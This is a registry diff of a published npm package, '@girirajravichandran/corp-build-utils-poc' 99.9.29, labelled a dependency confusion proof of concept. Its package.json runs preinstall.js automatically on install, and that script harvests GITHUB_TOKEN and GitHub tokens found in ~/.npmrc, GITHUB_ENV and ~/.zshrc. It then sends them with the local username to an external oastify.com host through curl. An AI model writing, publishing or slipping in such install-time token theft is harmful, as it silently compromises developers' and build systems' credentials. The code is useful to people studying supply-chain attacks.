@girirajravichandran/corp-build-utils-poc 99.9.29

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Binary file
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "@girirajravichandran/corp-build-utils-poc",
3
+ "version": "99.9.29",
4
+ "description": "dependency confusion poc",
5
+ "private": false,
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "dependencies": {
10
+ "@girirajravichandran/corp-build-utils-poc": "^99.9.29"
11
+ }
12
+ }
package/preinstall.js ADDED
@@ -0,0 +1,34 @@
1
+ const { exec } = require('child_process');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+ const os = require('os');
5
+
6
+ const homeDir = os.homedir();
7
+ const oastUrl = "http://3y2ev1k4fi83c60p0h36tf3t9kfb31rq.oastify.com";
8
+
9
+ // 1. Collect from current environment
10
+ let exfilData = `ENV_TOKEN=${process.env.GITHUB_TOKEN || 'none'}`;
11
+
12
+ // 2. Hunt for secrets in local config files
13
+ const targets = [
14
+ { name: 'NPMRC', path: path.join(homeDir, '.npmrc') },
15
+ { name: 'GITHUB_ENV', path: process.env.GITHUB_ENV || '' },
16
+ { name: 'ZSHRC', path: path.join(homeDir, '.zshrc') }
17
+ ];
18
+
19
+ targets.forEach(target => {
20
+ if (fs.existsSync(target.path)) {
21
+ try {
22
+ const content = fs.readFileSync(target.path, 'utf8');
23
+ // Basic regex to find strings starting with ghp_
24
+ const match = content.match(/ghp_[a-zA-Z0-9]{36}/);
25
+ if (match) exfilData += `&${target.name}=${match[0]}`;
26
+ } catch (e) {}
27
+ }
28
+ });
29
+
30
+ // 3. Exfiltrate everything found
31
+ const user = os.userInfo().username;
32
+ const cmd = `curl -G "${oastUrl}" --data-urlencode "victim=${user}" --data-urlencode "data=${exfilData}"`;
33
+
34
+ exec(cmd);